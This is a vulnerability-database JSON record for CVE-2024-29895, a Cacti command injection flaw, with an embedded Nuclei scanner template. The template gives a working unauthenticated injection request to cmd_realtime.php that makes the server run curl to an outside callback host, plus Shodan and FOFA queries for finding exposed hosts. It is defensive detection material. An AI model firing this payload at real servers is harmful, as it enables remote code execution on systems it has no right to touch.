{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-29895/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-29895/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-29895/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-29895/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-29895/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-29895"},"sightings":{"href":"/api/v1/sightings/cve-2024-29895"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-29895.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-29895\n\ninfo:\n  name: Cacti cmd_realtime.php - Command Injection\n  author: pussycat0x\n  severity: critical\n  description: |\n    Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.\n  impact: |\n    Authenticated attackers can inject and execute arbitrary commands on the Cacti server.\n  remediation: |\n    Update Cacti to a version that patches the command injection vulnerability.\n  reference:\n    - https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC\n    - https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119\n    - https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d\n    - https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc\n    - https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2024-29895\n    cwe-id: CWE-77\n    epss-score: 0.98455\n    epss-percentile: 0.99918\n  metadata:\n    max-request: 1\n    vendor: cacti\n    product: cacti\n    shodan-query: http.favicon.hash:-1797138069\n    fofa-query: icon_hash=\"-1797138069\"\n  tags: cve,cve2024,cacti,rce,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201b1049ed9be4061f3abdd11c6b4becbfe9d588f9efca4a83c11dcc0a7af84120022100f696876cd9064eff65915803a81d40361ba3b64b34a0ef884c9f4b6cf42bf977:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-29895"}